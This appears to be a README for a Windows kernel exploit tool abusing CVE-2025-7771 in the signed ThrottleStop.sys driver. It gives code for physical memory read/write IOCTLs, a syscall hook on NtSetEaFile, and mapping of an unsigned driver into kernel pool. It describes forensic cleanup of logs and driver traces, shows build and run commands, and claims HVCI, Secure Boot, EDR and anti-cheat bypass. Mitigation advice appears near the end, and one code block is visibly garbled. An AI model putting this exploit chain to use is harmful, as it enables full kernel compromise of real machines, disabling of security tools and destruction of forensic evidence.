Share
## https://sploitus.com/exploit?id=AEB7FF8C-DF6F-5612-98AC-C8D565B88ADA
# ๐Ÿ”“ ThrottleStop.sys Kernel Exploit โ€” HVCI-Compatible Physical Memory Mapper

> **CVE-2025-7771** โ€” Arbitrary Physical Memory Read/Write via ThrottleStop.sys IOCTLs

## โš ๏ธ Disclaimer

This project is published for **educational and research purposes only**. The goal is to demonstrate how a signed, trusted kernel driver can be weaponized for local privilege escalation (LPE) from Administrator to **SYSTEM/Kernel**, effectively bypassing modern Windows security features including **HVCI (Hypervisor-Enforced Code Integrity)** and **Secure Boot**.

**Do not use this tool for malicious purposes.** The author is not responsible for any misuse.

---

## ๐Ÿ“‹ Table of Contents

- [Vulnerability Summary](#vulnerability-summary)
- [Affected Software](#affected-software)
- [Technical Analysis](#technical-analysis)
  - [Vulnerable IOCTLs](#vulnerable-ioctls)
  - [Root Cause](#root-cause)
- [Exploitation Chain](#exploitation-chain)
  - [Step 1 โ€” Loading the Vulnerable Driver](#step-1--loading-the-vulnerable-driver)
  - [Step 2 โ€” Physical Memory Primitives](#step-2--physical-memory-primitives)
  - [Step 3 โ€” Locating the Syscall Page](#step-3--locating-the-syscall-page)
  - [Step 4 โ€” Syscall Hooking via Physical Write](#step-4--syscall-hooking-via-physical-write)
  - [Step 5 โ€” Arbitrary Kernel Code Execution](#step-5--arbitrary-kernel-code-execution)
  - [Step 6 โ€” Forensic Cleanup](#step-6--forensic-cleanup)
- [Why This Bypasses HVCI](#why-this-bypasses-hvci)
- [Impact Assessment](#impact-assessment)
- [Build & Usage](#build--usage)
- [Mitigation Recommendations](#mitigation-recommendations)
- [References](#references)

---

## Vulnerability Summary

| Field | Details |
|---|---|
| **CVE** | CVE-2025-7771 |
| **Driver** | `ThrottleStop.sys` (shipped with [ThrottleStop](https://www.techpowerup.com/download/techpowerup-throttlestop/)) |
| **Vendor** | TechPowerUp / Kevin Glynn |
| **Type** | Arbitrary Physical Memory Read/Write |
| **Impact** | Local Privilege Escalation (Admin โ†’ Kernel) |
| **CVSS** | 8.2 (High) |
| **Signature** | Microsoft-signed via WHQL / Attestation |
| **HVCI Bypass** | โœ… Yes โ€” driver is legitimately signed, allowed by CI policy |

---

## Affected Software

- **ThrottleStop** โ€” all versions shipping `ThrottleStop.sys` with physical memory mapping IOCTLs
- **Windows 10** 1903 โ€“ 22H2 (x64)
- **Windows 11** 21H2 โ€“ 24H2 (x64), including builds with **HVCI enabled**
- Tested on: Windows 11 26100.x (24H2) with Secure Boot + HVCI

---

## Technical Analysis

### Vulnerable IOCTLs

The `ThrottleStop.sys` kernel driver exposes a device (`\\.\ThrottleStop`) accessible to any local Administrator. It implements two IOCTLs that provide **unrestricted physical memory access**:

```c
#define IOCTL_TS_READ_PHYS   0x80006498   // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS  0x8000649C   // Write arbitrary physical address
```

#### Read Physical Memory (`0x80006498`)

```
Input:  ULONG64 PhysicalAddress  (8 bytes)
Output: Data buffer              (1โ€“8 bytes per call, determined by OutputBufferLength)
```

The driver calls `MmMapIoSpace()` to map the requested physical address into kernel virtual space, copies the data to the output buffer, then calls `MmUnmapIoSpace()`. **No validation** is performed on the physical address โ€” any address in the physical address space can be read.

#### Write Physical Memory (`0x8000649C`)

```
Input:  ULONG64 PhysicalAddress (8 bytes) + Data (1โ€“8 bytes)
        InputBufferLength = 8 + DataSize
Output: None
```

Same mechanism as read, but writes user-supplied data to the mapped physical address. Again, **no address or range validation**.

### Root Cause

The driver was designed to allow ThrottleStop (a CPU undervolting/throttling utility) to directly read/write MSRs and hardware registers. The physical memory IOCTLs were likely added for MMIO access to PCI configuration space or CPU thermal sensors, but the implementation performs **zero bounds checking**:

1. โŒ No check if the physical address belongs to MMIO vs. RAM
2. โŒ No check if the address is within the caller's intended memory region
3. โŒ No ACL restriction beyond requiring `GENERIC_READ | GENERIC_WRITE` handle access
4. โŒ No allowlist of permitted physical address ranges

This transforms a legitimate hardware utility driver into a **full kernel-level read/write primitive**.

---

## Exploitation Chain

The exploit chain escalates from a local Administrator account to **arbitrary kernel code execution**, effectively achieving SYSTEM-level ring-0 control.

### Step 1 โ€” Loading the Vulnerable Driver

The mapper drops `ThrottleStop.sys` to `%TEMP%`, creates a service registry entry under `HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop`, and loads it via `NtLoadDriver()`:

```cpp
// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");

// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");

// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);

// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
```

> **Note:** Since ThrottleStop.sys is legitimately signed, it loads even with **HVCI/Secure Boot enabled**. Windows CI policy trusts the certificate.

### Step 2 โ€” Physical Memory Primitives

With the device handle, the exploit can read/write **any physical address** on the system:

```cpp
// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);

// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr;      // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
```

The exploit wraps these into helper functions that handle chunked reads/writes (1, 2, 4, or 8 bytes per call) for arbitrary-length transfers.

### Step 3 โ€” Locating the Syscall Page

To execute arbitrary kernel functions, the exploit needs to find the **physical address** of a kernel syscall handler. It targets `NtSetEaFile` (a rarely-monitored syscall):

1. **Resolve RVA**: Load `ntoskrnl.exe` in usermode via `LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES)`, get the RVA of `NtSetEaFile`
2. **Calculate offset**: Since ntoskrnl is mapped with **2MB large pages**, the function's physical offset within a 2MB page = `RVA & 0x1FFFFF`
3. **Scan physical memory**: Enumerate physical memory ranges from the registry (`HARDWARE\RESOURCEMAP\System Resources\Physical Memory`), stride by 2MB, and compare bytes:

```cpp
for (phys_2mb = start; phys_2mb    ; 48 B8 
push rax                            ; 50
ret                                 ; C3
```

```cpp
// Install hook
unsigned char jmp_code[12] = {
    0x48, 0xB8,                           // mov rax, imm64
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // 
    0x50,                                 // push rax
    0xC3                                  // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);

// Trigger from usermode
NtSetEaFile(args...);  // โ†’ jumps to target_function in kernel!

// Restore original bytes
write_phys(syscall_phys_addr, saved_bytes, 12);
```

> **Key insight:** Writing to the **physical** page bypasses HVCI's virtual memory protections. HVCI prevents `W+X` virtual pages, but physical memory writes via `MmMapIoSpace` in the driver go directly to RAM.

### Step 5 โ€” Arbitrary Kernel Code Execution

With the syscall hook primitive, the exploit can call **any kernel function** with arbitrary arguments:

```cpp
// Allocate executable kernel memory (HVCI-compatible)
auto pool = syscall(ExAllocatePool2_addr,
    POOL_FLAG_NON_PAGED_EXECUTE, size, tag);

// Copy driver image to kernel pool via RtlCopyMemory
syscall(RtlCopyMemory_addr, pool, image_data, image_size);

// Call the driver's DriverEntry
syscall(entry_point, pool_base, image_size);
```

This effectively **maps and executes an unsigned driver** in kernel space โ€” complete privilege escalation.

### Step 6 โ€” Forensic Cleanup

After loading the payload, the exploit scrubs all traces:

| Artifact | Cleanup Method |
|---|---|
| **PiDDB Cache** | Unlocks `PiDDBLock`, finds entry in AVL tree via `RtlLookupElementGenericTableAvl`, unlinks and deletes |
| **MmUnloadedDrivers** | Scans the 50-entry circular buffer, zeros matching name and entry |
| **BigPoolTable** | Scans `PoolBigPageTable` for the allocation VA, zeros the entry |
| **Pool Header** | Spoofs the `POOL_HEADER` tag to `MmSt` (common system tag) |
| **PE Headers** | Zeros DOS/NT headers, import directory, debug directory, discardable sections in the kernel allocation |
| **Registry** | Deletes `HKLM\...\Services\ThrottleStop` key tree |
| **Driver File** | Deletes `ThrottleStop.sys` from `%TEMP%` |
| **Event Logs** | Clears relevant entries from System and Security logs |
| **Prefetch / BAM** | Cleans ShimCache, BAM (Background Activity Moderator), and Prefetch artifacts |

---

## Why This Bypasses HVCI

**HVCI (Hypervisor-Enforced Code Integrity)** prevents unsigned code from executing in kernel space by enforcing W^X (Write XOR Execute) on kernel virtual pages through Second Level Address Translation (SLAT/EPT).

This exploit bypasses HVCI because:

1. **Legitimate Driver:** `ThrottleStop.sys` is properly signed and passes CI validation, so it loads normally even with HVCI active.

2. **Physical over Virtual:** The IOCTLs use `MmMapIoSpace()` which operates on physical addresses. HVCI's protections are enforced at the virtual page table level and via EPT, but `MmMapIoSpace` creates a new virtual mapping for the physical page with appropriate permissions. The write to the syscall's physical page modifies the RAM contents that the existing virtual mapping already points to.

3. **Executable Pool:** The exploit allocates memory via `ExAllocatePool2` with `POOL_FLAG_NON_PAGED_EXECUTE`, which is a **legitimate, HVCI-approved** way to get executable kernel memory. The kernel itself uses this for JIT-compiled code and certain pool allocations.

4. **No Unsigned Driver Loading:** The mapper never calls `NtLoadDriver` with an unsigned image. Instead, it manually writes the payload into an already-executable kernel pool allocation and calls its entry point via the syscall hook.

```
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚           Usermode (Admin)                  โ”‚
โ”‚                                             โ”‚
โ”‚  1. Load ThrottleStop.sys (signed, trusted) โ”‚
โ”‚  2. Open \\.\ThrottleStop device            โ”‚
โ”‚  3. Read/Write physical memory via IOCTLs   โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
               โ”‚ DeviceIoControl
               โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚       ThrottleStop.sys (Kernel)             โ”‚
โ”‚                                             โ”‚
โ”‚  MmMapIoSpace(PhysAddr) โ†’ memcpy โ†’ unmap   โ”‚
โ”‚  No validation, any physical address OK     โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
               โ”‚ Physical Memory Write
               โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚       NtSetEaFile Physical Page             โ”‚
โ”‚                                             โ”‚
โ”‚  Original bytes overwritten with:           โ”‚
โ”‚  mov rax, ; push rax; ret         โ”‚
โ”‚                                             โ”‚
โ”‚  โ†’ Any usermode NtSetEaFile() call now      โ”‚
โ”‚    executes arbitrary kernel code           โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
               โ”‚ Kernel Code Execution
               โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚       Full Kernel Compromise                โ”‚
โ”‚                                             โ”‚
โ”‚  โ€ข ExAllocatePool2 (executable pool)        โ”‚
โ”‚  โ€ข Map unsigned driver into kernel memory   โ”‚
โ”‚  โ€ข Call DriverEntry โ†’ SYSTEM-level access   โ”‚
โ”‚  โ€ข Scrub all forensic artifacts             โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
```

---

## Impact Assessment

| Category | Impact |
|---|---|
| **Confidentiality** | ๐Ÿ”ด Total โ€” read any kernel/process memory |
| **Integrity** | ๐Ÿ”ด Total โ€” write to any kernel structure, hook any function |
| **Availability** | ๐ŸŸก High โ€” improper writes cause BSOD |
| **Authentication Bypass** | ๐Ÿ”ด SYSTEM access from Admin |
| **Anti-Cheat Bypass** | ๐Ÿ”ด Bypasses kernel-level anti-cheat (EAC, BattlEye, Vanguard) |
| **EDR Bypass** | ๐Ÿ”ด Runs below EDR hooks, can unhook/disable security tools |
| **HVCI** | ๐Ÿ”ด Bypassed via legitimate signed driver |
| **Secure Boot** | ๐Ÿ”ด Bypassed (driver has valid signature) |

---

## Build & Usage

### Requirements

- Visual Studio 2022 with C++ Desktop workload
- Windows SDK 10.0.26100.0+
- Administrator privileges on target

### Build

```bash
git clone https://github.com//throttlestop-mapper.git
cd throttlestop-mapper
# Open imxyviMapper.sln in Visual Studio
# Build โ†’ x64 Release
```

### Run

```bash
# Basic usage โ€” auto-scans physical memory for syscall page
mapper.exe payload_driver.sys

# With pre-computed kernel CR3 (faster, skips scan)
mapper.exe payload_driver.sys 1AD000
```

### Output

```
[+] Driver: 45056 bytes
[*] Parsing PE...
[+] PE OK: entry=0x3040 size=0xC000
[*] Loading vulnerable driver...
[+] Driver loaded, handle=0x0000000000000094
[+] IOCTL OK
[*] Finding syscall page...
[+] Syscall page found
[*] Fixing imports...
[*] Allocating executable kernel pool (49152 bytes)...
[+] Pool allocated at: FFFFA40B7C8E0000
[*] Writing driver to kernel...
[*] Calling entry point at 0xFFFFA40B7C8E3040...
[+] Entry point returned
[*] Cleaning MmUnloadedDrivers...
[+] MmUnloadedDrivers successfully scrubbed
[*] Unloading vulnerable driver...
[+] Done
```

---

## Mitigation Recommendations

### For Microsoft / Windows

1. **Driver Blocklist:** Add `ThrottleStop.sys` hashes to the [Microsoft Vulnerable Driver Blocklist](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules)
2. **HVCI Enhancement:** Block `MmMapIoSpace` calls that target RAM-backed physical addresses from non-whitelisted drivers
3. **IOCTL Auditing:** Flag drivers that expose raw physical memory primitives during WHQL certification

### For ThrottleStop Developer

1. **Remove physical memory IOCTLs** โ€” use MSR-specific IOCTLs (`rdmsr`/`wrmsr`) instead of raw `MmMapIoSpace`
2. **Implement address allowlisting** โ€” restrict `MmMapIoSpace` to known MMIO ranges (PCI BAR regions, LAPIC, etc.)
3. **Add ACL restrictions** โ€” limit device access to the ThrottleStop application's token SID

### For System Administrators

1. **WDAC Policy:** Create a custom Windows Defender Application Control (WDAC) policy that blocks `ThrottleStop.sys` by hash
2. **Monitor driver loads:** Alert on unusual kernel driver loading via Sysmon Event ID 6
3. **Remove ThrottleStop** if not actively needed for CPU management

---

## ๐Ÿ† Credits & Acknowledgments

| Who | Contribution |
|---|---|
| **[Demoo1337](https://github.com/Demoo1337)** | Original discovery and documentation of CVE-2025-7771. Reverse-engineered the ThrottleStop.sys IOCTL handlers, identified the `MmMapIoSpace` physical memory vulnerability, and published the initial [proof-of-concept exploit](https://github.com/Demoo1337/ThrottleStop). This project would not exist without his research. |
| **[xerox / IDontCode](https://github.com/xeroxz)** | Author of the [physmeme](https://github.com/xeroxz/physmeme) framework used as the base for the kernel mapper, syscall hooking, and forensic cleanup logic. |
| **[TheCruZ](https://github.com/TheCruZ)** | Author of [kdmapper](https://github.com/TheCruZ/kdmapper), whose techniques for PiDDB cache cleaning and driver mapping informed this implementation. |

---

## References

- **[Demoo1337/ThrottleStop โ€” CVE-2025-7771 PoC](https://github.com/Demoo1337/ThrottleStop)** โ€” Original vulnerability research and exploit
- [physmeme โ€” Physical Memory Exploit Framework](https://github.com/xeroxz/physmeme) (MIT License, xerox/IDontCode)
- [kdmapper โ€” Kernel Driver Mapper](https://github.com/TheCruZ/kdmapper)
- [Microsoft Vulnerable Driver Blocklist](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules)
- [HVCI Design Overview โ€” Microsoft](https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard)
- [MmMapIoSpace โ€” Microsoft Docs](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-mmmapiospace)

---

## License

This project is released under the **MIT License** for educational research purposes. The underlying `physmeme` framework is ยฉ 2020 xerox (MIT License).

---

> **๐Ÿ”ฌ Responsible Disclosure:** This vulnerability was discovered by **[Demoo1337](https://github.com/Demoo1337)** and disclosed to the vendor. This repository serves as documentation for the security research community.